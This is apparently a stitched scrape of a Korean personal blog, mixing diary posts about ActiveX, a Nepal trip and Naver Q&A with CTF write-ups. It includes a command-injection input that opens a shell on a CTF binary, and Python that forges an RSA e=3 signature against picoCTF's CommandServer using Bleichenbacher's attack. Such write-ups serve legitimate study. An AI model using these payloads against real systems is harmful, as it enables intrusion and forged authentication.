TEPS 접수를 하려고 사이트에 들어갔는데 크롬에서는 메뉴가 이상하게 떴다.

이 정도는 양반이었다. IE로 들어가서 회원가입하고 접수를 하려는데

1. 회원가입 시 본인인증할 때

2. 회원가입에 증명사진넣을 때

3. 응시료 결제할 때 3개

5개의 Active X를 설치했다.

근데 결제할 때 3개로 끝나지 않고 창 하나 누를 때마다 자꾸 설치하라고 나와서 결국 포기한다.ㅅㅂ


거지같은 Active X는 언제없어지나...

얼마 전에 뉴스에는 Active X 없어지고 exe로 바뀐다는데...어휴..

이래가지고 우리나라는 언제 IT강국이 될 수 있을까.

'Diary' 카테고리의 다른 글

BoB 4기 최종합격!!!  (2) 2015.06.26
고음주역테스트(高音厨音域テスト) 가사  (0) 2015.05.14
네팔 여행기 - Kailashnath Mahadev Statue in Sanga  (0) 2015.01.30
지식iN 폐인짓  (0) 2015.01.26
과 홈페이지 트래픽초과  (0) 2015.01.14

다음과 같은 바이너리가 주어집니다.

shock


바이너리를 분석해보면 argv[1]로 입력받은 캐릭터를 일련의 검사를 거친 뒤 "id"와 string concatenation을 한 뒤 system함수에 인자로 집어넣는 것을 볼 수 있습니다.

환경변수 PATH를 건드려서 id가 /usr/bin/id대신 임의의 프로그램을 실행하도록 해주면 간단하나, strcpy하기 전에 환경변수를 모두 초기화해버립니다.

strcat에서 취약점이 생기는데, canary가 있어서 exploit하기는 힘들어보입니다.

";sh"같은 문자열을 넣어 system함수에 injection을 시도했으나, 되지 않았습니다.

그래서 __ctype_b_loc()부분을 자세히 디버깅해보았습니다. 그렇게 알아낸 사실은, 입력받은 문자열을 하나씩 돌면서 __ctype_b_loc() 테이블을 기준으로 값을 v3에 넣는데, v3가 0-9,a-z,A-Z일 때만 v3&8이 0이 아니였습니다.

alphanumeric value만 v3&8을 했을 때 0이 아님

이렇게 code injection도 물거품이 되는 듯 했습니다.


그렇게 공격을 하던 중, 이상한 점을 발견했습니다. 바로 ./shock `python -c 'print "A"*700'`따위를 입력하면 stack smashing이 detect되지 않고 Segmentation fault만 뜨는 것을 확인했습니다.

gdb로 확인해보니, strlen함수에서 Segmentation fault가 나더군요.

그래서 Segmentation fault가 뜨는 지점과 stack smashing이 뜨는 지점을 찾으려고 시도하다가 다음과 같이 명령어를 입력했더니 shell이 떴습니다.

systemshock@ip-172-31-3-97:~$ ./shock `python -c 'print "A"*523+";sh"'`
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
$ ls
flag shock
$ cat flag
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
$ exit

정확한 원리는 아직 잘 모르겠네요.


[+] 대회 후기

이 문제를 대회 시작하고 3시간이 되어갈때 쯤 풀고, 그 뒤론 1번(owlur)과 3번(guesspw)만 계속 쥐고 있었는데

결국엔 둘 다 못 풀고 이 문제밖에 못 풀었네요ㅜㅜ

그냥 pwnable을 건드리는게 어땠을까 하는 아쉬움이 남습니다.

공부 열심히 해야겠어요!

저는 GMW(Give Me Wi-Fi) 팀이였는데요.

문제를 많이 풀어 3위(1위랑 동점이지만 늦게풀어서)까지 갔는데,

막판에 nano 문제 힌트가 나가고 nano를 푼 팀이 세 팀이 생겨서 4위로 떨어진 불운의 팀입니다. ㅠ_ㅠ


저는 optimize, recovery를 풀었는데요.

저희 팀은 FindKey.pcap, pyc_pcap, nano 문제를 못 풀었습니다.ㅜㅜ

문제풀이 시간에 들은 문제를 포함해 제가 아는 문제들 풀이를 모두 적어볼게요.


문제: 

e.txt

문제파일:

HC_files.7z.001

HC_files.7z.002


--- KeyIs ---

다음과 같은 bmp파일이 주어집니다.

key.zip

문제에서 헤더의 1byte가 수정이 되었다고 주어집니다.

열어보면 다음과 같이 사진이 회전된 것을 볼 수 있습니다.


width가 변조되어서 저렇게 이상하게 뜨는 것을 볼 수 있습니다.

BMP의 width는 0x12에 저장되므로, 21로 되어있는 이 값을 23으로 바꾸면 제대로 뜨는 것을 볼 수 있습니다.


flag: CanUCThi5Key


--- nano ---

zlib으로 압축된 파일이 주어집니다. 이는 파이썬 스크립트로 풀 수 있습니다.

import zlib
s = open('nano_zlib', 'rb').read()
open('nano', 'wb').write(zlib.decompress(s))

이렇게 압축을 풀면 x86 boot sector가 나오는데, 이를 VMware의 가상머신중 하나에 Floppy Disk device를 추가하고 부팅합니다.

Edit virtual machine settings를 누른 뒤 Add를 누르고 다음과 같이 진행합니다.



그리고 부팅하면 flag를 볼 수 있습니다.


flag: D0_Y0u_Kn0w_R34lM0d3?


--- optimize ---

파이썬 코드가 주어지는데 실행을 하면 계산 량이 너무 커서 아무 것도 출력하지 않습니다.

이 코드를 최적화시켜 무엇이 출력되는지 알아내야 합니다.

pow_plus 함수를 보면, 주어진 \(x\)와 \(n\)에 대하여 \(x^0+x^1+x^2+...+x^n\)을 계산하고 return하는 것을 볼 수 있습니다.

이는 등비수열의 합으로써, \(\sum\limits_{i=0}^{n} x^{i} = \frac{(x^{n+1}-1)}{x-1}\)임을 이용해 pow_plus(x, 3133701) = \(2^{3133702}-1\)임을 알 수 있습니다.

그 다음 after_align을 호출하는데, 이 함수는 10진수 x의 각 자리수의 합을 출력합니다.

제 컴퓨터로 돌렸을 때 after_align함수가 매우 느려서 이 함수도 최적화(?)를 했는데, 지금 서버컴으로 돌려보니깐 15초정도밖에 안 걸리는군요...-_-;; after_align(2**3133702-1)을 넣어주면 4247061이 나옵니다.

좋은 컴을 씁시다...ㅠㅠ


flag: 4247061


--- recovery ---

input 파일을 table 길이만큼 나누고, 각 part를 돌면서 table을 이용해 byte의 순서를 바꿔 암호화를 합니다.

ENC.py에서 table_inverse를 추가하고, table을 table_inverse로 바꿔주면 됩니다.

#!/usr/bin/python
from struct import unpack,pack

table = [48, 27, 50, 8, 47, 73, 12, 4, 66, 0, 14, 77, 56, 26, 63, 67, 17, 11, 68, 22, 72, 69, 60, 64, 74, 58, 54, 42, 65, 32, 33, 40, 39, 37, 51, 59, 24, 35, 38, 61, 21, 31, 57, 20, 76, 13, 10, 43, 9, 78, 46, 44, 45, 49, 3, 75, 23, 2, 19, 25, 28, 41, 29, 6, 30, 53, 70, 7, 16, 18, 34, 1, 62, 52, 5, 55, 36, 79, 71, 15]

table_inverse = []
for i in xrange(len(table)):
	table_inverse.append(table.index(i))

lt = len(table_inverse)
f = open("./ENCRYPTED","rb")
f2 = open("./DECRYPTED","wb")
d = f.read()
f.close()
a = ""
result = ""
for i in range(0,len(d),lt):
	a = d[i:i+lt]
	for j in range(0,lt):
		result += a[table_inverse[j]]
	
f2.write(result)
f2.close()

이렇게 DECRYPTED를 구한 뒤 hex editor로 열어보면 flag가 바로 보입니다.

참고로 이 파일은 Frozen의 dubstep remix버전 mp3파일이네요.


flag: To_test_the_limit_and_breakthrough



FindKey.pcap와 pyc_pcap 문제는 모든 팀이 못 푼 것 같아요.

handray는 눈 크게 뜨고 열심히 분석하다보면 나올 거에요... 저희 팀도 세네 번의 시행착오를 겪었네요.


web이나 pwnable 등 서버 쓰는 문제가 안 나와서 좀 아쉽긴 하네요. 저희 팀원들도 주분야가 시스템인 분들이 많았는데ㅠ_ㅠ

아무튼 두 시간 반정도 되는 시간동안 재밌게 풀었습니다~

7월 11일 금요일, 학교가 오후 수업이 없이 일찍 끝나는 날이어서, Mahendra School에서 조금만 걸어가면 나오는 Kailashnath Mahadev 동상에 다녀왔습니다.

사실 저희 팀원들은 학교가 쉬는 7월 5일 토요일에 여행을 갔다왔는데, 저는 아파서 못 갔어요ㅜ_ㅜ.. 저에게는 이번이 네팔에서의 첫 여행이었죠.


Sanga 버스정류장에는 World's Largest Shiva Statue 143 ft. (44m)라는 간판이 있습니다. 안타깝게도 맨날 학교가면서 왔다갔다했던 길이라 사진이 없네요.

위키피디아(http://en.wikipedia.org/wiki/Kailashnath_Mahadev_Statue)를 참고하니, 세계에서 가장 큰 동상 중 40위라네요. 자유의 여신상보다 4위 밑이고요.

아무튼 학교에서 윗방향으로 조금만 걸어가면 나옵니다.

거기 문앞에 표를 팔고있고, 군인 모습을 한 아저씨가 지키고있길래 표를 사고 들어갔는데, 알고보니 그 표는 Hilltake 리조트 입장권이더라고요....ㅜ 원래는 무료인 듯 합니다. Hilltake를 안 지나서 가는 방법이 있기는 할텐데 잘 모르겠네요.

Kailashnath Mahadev 동상

동상 바로 밑에는 예배를 드리고 tika(힌두인들이 이마에 찍는 것)를 찍을 수 있는 곳이 있어요. 힌두인이 아닌 사람도 찍을 수 있다고 합니다.

예배드리는 곳

동상도 동상이지만 경치가 너무 좋았어요~


그 외에 많진 않지만 다양한 볼거리들이 있습니다.

동상 주변이 그렇게 넓진 않아서 금방 다 둘러볼 수 있어요~


다 둘러보고 아까 잘못 산 Hilltake 입장권으로 Hilltake도 좀 둘러보고 맛있는 피자도 먹고 그랬어요.

(아쉽게도 저길 들어가진 못했습니다)

(얼마만에 먹는...!! 무려 350루피!)


이상 학교 끝나고 잠깐 갔다온 Sanga에 Kailashnath Mahadev Statue였습니다.

Sanga에 갈 일 있으면 꼭 가보세요~!!

'Diary' 카테고리의 다른 글

고음주역테스트(高音厨音域テスト) 가사  (0) 2015.05.14
엿같은 Active X  (0) 2015.04.12
지식iN 폐인짓  (0) 2015.01.26
과 홈페이지 트래픽초과  (0) 2015.01.14
블로그 오픈  (0) 2009.12.19

발음하기도 어려운 Daniel Bleichenbacher("(블)라이헨바허"라고 읽는듯함)가 2006년에 구현에서의 RSA signature forgery 취약점을 발견하였다. 이 문서는 다음 링크를 바탕으로 만들어졌다.

https://www.ietf.org/mail-archive/web/openpgp/current/msg00999.html

이 공격은 \(e = 3\)일 때만 유효하다.

00 01 FF FF FF ... FF 00  ASN.1  HASH

signature는 위 형태로 되어있다. 여기서 구현상의 오류로, HASH 뒤에 아무런 데이터도 없는지 체크하지 않는다. 즉 공격자는 HASH 뒤의 값을 적절히 조절해 위 signature값의 세제곱근을 찾아낸 뒤 fake signature를 만들어낼 수 있다.


이를 이해하기 위해 알아둬야 할 수학적 지식이 있다. 이진수의 \(p\)번째 bit부터 \(q\)번째 bit까지 모두 1일 때, 숫자는 다음과 같이 표현 가능하다. (단, 최하위비트는 0번째 비트이다.)

\[ 2^{p+1} - 2^{q} \]

예를 들어 0111 1110\(_{2}\)은 \( 2^{7} - 2^{1} \)다.


다시 위에서 한 얘기로 돌아가자. \(D\)를 우리가 원하는 메시지인 00 + ASN.1 + HASH로 두자. key가 3072bit일 때, \(D\)를 오른쪽에서 2072번째 bit에 배치하면, 1의 시작 bit는 3057번째 bit이고(0x0001ffffff~~), 끝나는 비트에 대한 제한은 없으므로(FF의 길이에 대한 제한이 없음) \(q\)번째 bit라 두면, signature의 수식이 다음과 같다.

\[ 2^{3057} - 2^{q} + D\times 2^{2072} + \mbox{garbage} \]

garbage는 HASH 뒤에 나타날 모든 값을 의미한다. 위에서 얘기했던대로 HASH 뒤에 나타나는 garbage에 대한 값을 확인하지 않기 때문에 garbage는 어떠한 값이든 상관없다. 이 때, D의 길이는 SHA-1 hash일 때 288bit이다. 따라서 \( N = 2^{288} - D \)로 잡으면 위 식은 다음과 같이 변한다.

\[ = 2^{3057} -2^{q} + (2^{288} - N)\times 2^{2072}  + \mbox{garbage} \]

\[ = 2^{3057} -2^{q} + 2^{2360} - N\times 2^{2072} + \mbox{garbage} \]

이 된다. 이 값은 어떤 수의 세제곱이 되어야한다(\(e=3\)이기 때문). 즉, 어떤 수를 \(A-B\)로 두면 위 signature에 대한 식은 \( (A-B)^{3} \)꼴로 표현될 수 있다. 여기서 \(2^{2360}\)을 소거하기 위해 \(q=2360\)으로 잡는다.

\[ (A-B)^{3} = 2^{3057} - N\times 2^{2072} + \mbox{garbage} \]

\( (A-B)^{3} = A^{3} -3A^{2}B +3AB^{2} -B^{3}\)임을 이용하여 \(A = 2^{3057/3} = 2^{1019}\)로 정의하면

\[ (A-B)^{3} = 2^{3057} -3\times 2^{2038}B +3AB^{2} -B^{3} = 2^{3057} - N\times 2^{2072} + \mbox{garbage} \]

여기서 \( 3AB^{2} -B^{3} = \mbox{garbage} \)로 없애버리고 식을 정리하면

\[ -3\times 2^{2038}B = -N\times 2^{2072} \]

\[ B=\frac{N\times 2^{34}}{3}\]

가 나온다. 따라서 \(A=2^{2019}, B=\frac{N\times 2^{34}}{3}\)로 잡으면, \( (A-B)^{3} \)는 signature 형태가 나오게 된다!

Daniel Bleichenbacher는 이렇게 매우 쉽게(?) 연필과 종이만으로(pencil and paper) forgery attack이 가능하다고 했다.


이를 통해 picoCTF 2014의 Revenge of the Bleichenbacher라는 문제를 풀어보자.

CommandServer라는 jar파일이 주어진다.

CommandServer.jar

이 프로그램은 서버를 돌려 명령어를 받고 이 명령어에 대한 signature를 받아서 verifySignature()를 통해 signature가 유효한지 판단한다. paramString1은 명령어이고, paramString2는 signature이다.

public boolean verifySignature(String paramString1, String paramString2) {
	String str1 = sha1(paramString1);
	BigInteger localBigInteger1 = new BigInteger(paramString2, 16);
	BigInteger localBigInteger2 = localBigInteger1.modPow(new BigInteger("3"), N);
	String str2 = localBigInteger2.toString(16);
	while (str2.length() < 768) {
		str2 = "0" + str2;
	}
	if ((str2.indexOf("0001ffffffffff") == 0) && (str2.length() == 768) && 
	    (str2.contains(str1))) {
		for (int i = str2.indexOf("f"); i < str2.indexOf(str1) - 2; i++) {
			if (str2.charAt(i) != 'f') return false;
		}

		return (str2.charAt(str2.indexOf(str1) - 2) == '0') && (str2.charAt(str2.indexOf(str1) - 1) == '0');
	}

	return false;
}

이 함수에서는 다음과 같은 동작을 한다.

이를 통해 picoCTF 2014의 Revenge of the Bleichenbacher라는 문제를 풀어보자.

1. paramString2를 세제곱해서 N(key)로 나머지를 구한다(str2).

2. str2가 0001ffffffffff로 시작하는지, 길이가 768글자인지, str1의 hash를 포함하는지 확인한다.

3. HASH의 앞앞글자까지 f인지 확인한다.

4. HASH의 앞글자와 앞앞글자가 0인지 확인한다.

예를 들어, 명령어 open의 signature의 형태는 다음과 같아야 한다.

00 01 FF FF FF ... FF 00 5fc7e38bffe00ca46add89145464a2eaf759d5c2

FF가 끝나고 00이 나와야 하며, 그 뒤로 open의 SHA-1 hash가 이어져야한다. 따라서 우리가 원하는 \(D\)는 \(D=\mbox{0x005fc7e38bffe00ca46add89145464a2eaf759d5c2}\)이고, 이는 168bit이므로 \(N=2^{168}-D=373597607363060102729912695217882050654491120118334\)가 나온다. 이를 비롯해 \(A-B\)를 구하는 과정은 다음과 같다.

import hashlib

A = 2**1019
D = '00' + hashlib.sha1('open').hexdigest()
N = 2**(len(D)*4) - int(D, 16)
B = N*2**34/3

sig = hex(A-B).lstrip('0x').rstrip('L')
print sig

결과

7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeab2a5fda0fffd566308e7cb6c5c5db83e3f477c7ad55555556

이 값을 verifySignature() 함수에 넣어보자. 이를 위해 새로운 Main.java파일을 만든다.

import java.security.MessageDigest;
import java.math.BigInteger;
import java.util.Scanner;

public class Main {
	private static final BigInteger N = new BigInteger("c5ddc7decb1beede4ebb96742e4279eb120b9c8b44472c0d0bb39da95a10cf72b630dbea181eeda65772779de8b6af53f2b0c5c3eccae2ef7a349b66637345f1cc0dec4d63550206688751e49da001b2f901cf39ebb1758bae0a89a3a4f8342fa26283f802ce6df144113a2abe075497d373435f80aa96bdf1ea500f58eea6bffb28add63c9d337dacf3bbf81996c7b6b9ac532007010acedb0714a547486c78ca162a0a85c643ce774b2805bd294435d262fb390adce055b971396c0363bb5f7aa409f5c223fa9c211945cb6be7a8df23a3357257a11bfe4bd983799d975e9ba337e928c33a7cd9638c5f4553b2a263233442677f848e948ccc4470a5a5bc16682b3a24188398389a079096d28588f03d01b7bfa6cce9a829e2f5c1b1cc785e891ffa89d63607f48473126f99aca203e0c2e77f21a35b6d6c8816c0650715144ff148d9c60f81bfacbfc5ef879a07bb6cd8e12476803006cc7ae25e8faafa4ee52dac698d7927092d10c4fb748dea6b3dd62a3588cf315f54216689877f3f0d", 16);
	public static void main(String[] args) {
		Scanner sc = new Scanner(System.in);
		System.out.print("cmd: ");
		String s1=sc.nextLine();
		System.out.print("signature: ");
		String s2=sc.nextLine();
		System.out.println("Result: "+verifySignature(s1, s2));
	}
	public static String sha1(String paramString) {
	try {
		MessageDigest localMessageDigest = MessageDigest.getInstance("SHA-1");
		byte[] arrayOfByte = localMessageDigest.digest(paramString.getBytes("UTF-8"));
		StringBuffer localStringBuffer = new StringBuffer();

		for (int i = 0; i < arrayOfByte.length; i++) {
			String str = Integer.toHexString(0xFF & arrayOfByte[i]);
			if (str.length() == 1) localStringBuffer.append('0');
			localStringBuffer.append(str);
		}

		return localStringBuffer.toString();
	}
	catch (Exception e) { return null; }
	}
	
	public static boolean verifySignature(String paramString1, String paramString2)
	{
		String str1 = sha1(paramString1);
		BigInteger localBigInteger1 = new BigInteger(paramString2, 16);
		BigInteger localBigInteger2 = localBigInteger1.modPow(new BigInteger("3"), N);
		String str2 = localBigInteger2.toString(16);
		while (str2.length() < 768) {
			str2 = "0" + str2;
		}
		System.out.println("str2: "+str2);
		if (str2.indexOf("0001ffffffffff") != 0){
			System.out.println("1:"+str2.indexOf("0001ffffffffff"));
			return false;
		}
		else if(str2.length() != 768) {
			System.out.println("2");
			return false;
		}
		else if(!str2.contains(str1)) {
			System.out.println("3");
			return false;
		}
		for (int i = str2.indexOf("f"); i < str2.indexOf(str1) - 2; i++) {
			if (str2.charAt(i) != 'f') {
				System.out.println("4");
				return false;
			}
		}
		
		return (str2.charAt(str2.indexOf(str1) - 2) == '0') && (str2.charAt(str2.indexOf(str1) - 1) == '0');
	}
}

CommandServer.jar에서 코드를 복사-붙여넣기 했었는데 컴파일 에러가 떠서 exception handle하는 부분을 수정했다.

이를 돌려서 cmd값과 signature값을 input으로 줬더니 true가 나온다.

이렇게 RSA signature forgery를 수행할 수 있다.


[+]

cryptography에 대한 지식이 거의 없어서 이해하는데 꽤나 오래걸렸네요.

설명이 부자연스럽거나 개념이 이상한 부분이 있다면 지적해주면 감사하겠습니다~!

지식iN을 1주일간 폐인짓하고나서

고수(내공 13,000에서 시작) -> 영웅 (내공 15,001) -> 지존 (내공 35,001)

까지 1주일만에 찍었다.


맨날 자정넘어서 사람들이 물어보는 수학문제 대답해주고...ㅋㅋ

답이 2개가 넘으면 가장 먼저 답을 쓴 사람을 채택할 확률이 높아서

계속 새로고침하다가 질문 뜨면 빛의 속도로 답을 써서 등록하고...


질문자들이 채택을 재깍재깍 했으면 더 빨리 찍었겠으나...

채택 안하는 인간이 왜이리 많은지~~

1주일간 폐인짓을 했으니 이제 그만둬야겠다.

'Diary' 카테고리의 다른 글

고음주역테스트(高音厨音域テスト) 가사  (0) 2015.05.14
엿같은 Active X  (0) 2015.04.12
네팔 여행기 - Kailashnath Mahadev Statue in Sanga  (0) 2015.01.30
과 홈페이지 트래픽초과  (0) 2015.01.14
블로그 오픈  (0) 2009.12.19

학교에 서버가 있는데, 여기서 웹서버를 돌리는 게 아니라 얘를 호스팅받은 서버에 frame으로 연결시켜버린다.



도대체 이런 짓을 왜 하는거야....

소종 ppt 사람들이 몇 개만 다운받아도 금방 트래픽 초과할텐데...-_-;;

(아마 지금 트래픽 초과된 것도 그 이유때문일텐데 --;)

'Diary' 카테고리의 다른 글

고음주역테스트(高音厨音域テスト) 가사  (0) 2015.05.14
엿같은 Active X  (0) 2015.04.12
네팔 여행기 - Kailashnath Mahadev Statue in Sanga  (0) 2015.01.30
지식iN 폐인짓  (0) 2015.01.26
블로그 오픈  (0) 2009.12.19

1. http://ropshell.com/ropeme/ropeme-bhus10.tbz2 에 들어가 binary를 다운받는다.

ropeme-bhus10.tbz2

2. tar -xvf로 압축을 풀고 ropeme-bhus10 안에 들어있는 distorm-1.7.30.tar.gz도 압축을 푼다.

3. distorm-1.7.30 폴더로 들어가 ./setup.py build, ./setup.py install을 순서대로 실행한다.

4. ropeme-bhus10/ropeme/ropshell.py에 들어가서 사용한다.


[+] /usr/local/bin에 설치하기

root 권한으로 /usr/local/bin 폴더에서 위의 작업을 하고, /usr/local/lib/python2.7/dist-packages/distorm 안의 파일 권한에 o+r를 추가해준다. (chmod o+r __init__.py)

그런다음 ln -s /usr/local/bin/ropeme-bhus10/ropeme/ropshell.py /usr/local/bin/ 으로 심볼릭 링크를 걸어준다. 그러면 어디에서든 ropshell.py를 입력하면 ropshell이 실행된다.

크리스마스 하루 동안 진행되는 대회.

솔로가 아니면 출전이 금지되는 솔로의, 솔로에 의한, 솔로를 위한 대회. (ㅠㅠ)

이번 학기 내내 바빠서 한동안 CTF를 즐기지 못하다가 학기 끝나고 제대로 참가할 수 있었다.

난이도가 많이 어렵진 않아서 재밌게 풀 수 있었다.

동아리 애들은 게임하느라 참가하지도 않고ㅜㅜ 결국 혼자서 풀게되었는데...

랭킹 안에 들어 본 것이 이번이 처음이다!! :) (I Hate Teemo!)

(원래 랭커들중에서 커플이 많나보다..ㅎㅎㅅㅂ)




+ Recent posts